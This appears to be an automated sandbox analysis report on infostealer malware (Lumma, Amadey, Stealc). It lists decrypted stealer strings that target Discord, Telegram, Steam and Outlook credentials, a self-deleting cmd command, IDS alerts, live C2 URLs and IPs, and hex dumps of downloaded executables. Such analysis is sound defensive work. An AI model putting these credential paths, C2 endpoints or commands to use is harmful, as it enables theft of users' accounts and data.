Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Threads:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Cores:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - RAM:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - Display Resolution:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: - GPU:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: User Agents:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Installed Apps:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: All Users:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Current User:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Process List:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: system_info.txt
Source: 35.2.num.exe.d00000.0.unpack String decryptor: freebl3.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: mozglue.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: msvcp140.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: nss3.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: softokn3.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: vcruntime140.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \Temp\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: .exe
Source: 35.2.num.exe.d00000.0.unpack String decryptor: runas
Source: 35.2.num.exe.d00000.0.unpack String decryptor: open
Source: 35.2.num.exe.d00000.0.unpack String decryptor: /c start
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %DESKTOP%
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %APPDATA%
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %USERPROFILE%
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %DOCUMENTS%
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %PROGRAMFILES%
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 35.2.num.exe.d00000.0.unpack String decryptor: %RECENT%
Source: 35.2.num.exe.d00000.0.unpack String decryptor: *.lnk
Source: 35.2.num.exe.d00000.0.unpack String decryptor: files
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \discord\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \Local Storage\leveldb
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \Telegram Desktop\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: key_datas
Source: 35.2.num.exe.d00000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 35.2.num.exe.d00000.0.unpack String decryptor: map*
Source: 35.2.num.exe.d00000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 35.2.num.exe.d00000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 35.2.num.exe.d00000.0.unpack String decryptor: F8806DD0C461824F*
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Telegram
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Tox
Source: 35.2.num.exe.d00000.0.unpack String decryptor: *.tox
Source: 35.2.num.exe.d00000.0.unpack String decryptor: *.ini
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Password
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: 00000001
Source: 35.2.num.exe.d00000.0.unpack String decryptor: 00000002
Source: 35.2.num.exe.d00000.0.unpack String decryptor: 00000003
Source: 35.2.num.exe.d00000.0.unpack String decryptor: 00000004
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Pidgin
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \.purple\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: accounts.xml
Source: 35.2.num.exe.d00000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 35.2.num.exe.d00000.0.unpack String decryptor: token:
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Software\Valve\Steam
Source: 35.2.num.exe.d00000.0.unpack String decryptor: SteamPath
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \config\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ssfn*
Source: 35.2.num.exe.d00000.0.unpack String decryptor: config.vdf
Source: 35.2.num.exe.d00000.0.unpack String decryptor: DialogConfig.vdf
Source: 35.2.num.exe.d00000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 35.2.num.exe.d00000.0.unpack String decryptor: libraryfolders.vdf
Source: 35.2.num.exe.d00000.0.unpack String decryptor: loginusers.vdf
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \Steam\
Source: 35.2.num.exe.d00000.0.unpack String decryptor: sqlite3.dll
Source: 35.2.num.exe.d00000.0.unpack String decryptor: browsers
Source: 35.2.num.exe.d00000.0.unpack String decryptor: done
Source: 35.2.num.exe.d00000.0.unpack String decryptor: soft
Source: 35.2.num.exe.d00000.0.unpack String decryptor: \Discord\tokens.txt
Source: 35.2.num.exe.d00000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 35.2.num.exe.d00000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 35.2.num.exe.d00000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 35.2.num.exe.d00000.0.unpack String decryptor: https
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 35.2.num.exe.d00000.0.unpack String decryptor: POST
Source: 35.2.num.exe.d00000.0.unpack String decryptor: HTTP/1.1
Source: 35.2.num.exe.d00000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 35.2.num.exe.d00000.0.unpack String decryptor: hwid
Source: 35.2.num.exe.d00000.0.unpack String decryptor: build
Source: 35.2.num.exe.d00000.0.unpack String decryptor: token
Source: 35.2.num.exe.d00000.0.unpack String decryptor: file_name
Source: 35.2.num.exe.d00000.0.unpack String decryptor: file
Source: 35.2.num.exe.d00000.0.unpack String decryptor: message
Source: 35.2.num.exe.d00000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 35.2.num.exe.d00000.0.unpack String decryptor: screenshot.jpg
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63882 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63892 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63900 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63909 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63922 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63933 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63958 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64010 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64013 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64014 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64019 version: TLS 1.2
Source: Binary string: my_library.pdbU source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: my_library.pdb source: e90585a72a.exe, 00000011.00000003.2665005403.000000000505B000.00000004.00001000.00020000.00000000.sdmp, e90585a72a.exe, 00000011.00000002.2706006259.000000000067C000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2493553884.0000000005E80000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdbo source: InstallUtil.exe, 0000000B.00000002.2935186907.0000000000848000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2477259453.0000000002BD2000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2493553884.0000000005E80000.00000004.08000000.00040000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2488892717.00000000037C4000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2935186907.0000000000875000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000003.2063719617.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, NSXWT8JG74T0IR99MSITIVFVWS7V.exe, 00000004.00000002.2197308978.0000000000CD2000.00000040.00000001.01000000.00000006.sdmp
Source: Binary string: protobuf-net.pdb source: innoinstaller.exe, 00000009.00000002.2488892717.000000000383C000.00000004.00000800.00020000.00000000.sdmp, innoinstaller.exe, 00000009.00000002.2492496141.00000000055B0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: InstallUtil.pdb source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2935186907.0000000000875000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: n8C:\Windows\InstallUtil.pdbc source: InstallUtil.exe, 0000000B.00000002.2931654283.00000000004F7000.00000004.00000010.00020000.00000000.sdmp
Source: firefox.exe Memory has grown: Private usage: 1MB later: 188MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:55266 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:54054 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:56693 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:50721 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:61708 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:63758 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:63774
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63821 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:51938 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:57960 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:51006 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:50424 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:62171 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63892 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63882 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63879 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63900 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63909 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63922 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63933 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63943 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63939 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:63947 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:63958 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63980 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:63996 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:63998 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:63933 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:63882 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63882 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63958 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:63892 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:63892 -> 188.114.96.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor URLs: founpiuer.store
Source: Malware configuration extractor URLs: presticitpo.store
Source: Malware configuration extractor URLs: thumbystriw.store
Source: Malware configuration extractor URLs: fadehairucw.store
Source: Malware configuration extractor URLs: crisiwarny.store
Source: Malware configuration extractor URLs: necklacedmny.store
Source: Malware configuration extractor URLs: scriptyprefej.store
Source: Malware configuration extractor URLs: navygenerayk.store
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:03:26 GMTContent-Type: application/octet-streamContent-Length: 2814976Last-Modified: Thu, 31 Oct 2024 01:43:45 GMTConnection: keep-aliveETag: "6722e0d1-2af400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 f6 66 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 64 64 65 70 72 7a 61 00 a0 2a 00 00 a0 00 00 00 94 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 6a 73 61 79 69 70 00 20 00 00 00 40 2b 00 00 04 00 00 00 ce 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 02:03:33 GMTContent-Type: application/octet-streamContent-Length: 1928704Last-Modified: Thu, 31 Oct 2024 02:01:56 GMTConnection: keep-aliveETag: "6722e514-1d6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 4c 00 00 04 00 00 a6 3f 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 6b 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 6b 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 70 69 69 79 62 70 00 60 1a 00 00 20 32 00 00 52 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 64 6d 73 74 63 73 73 00 10 00 00 00 80 4c 00 00 04 00 00 00 48 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4c 00 00 22 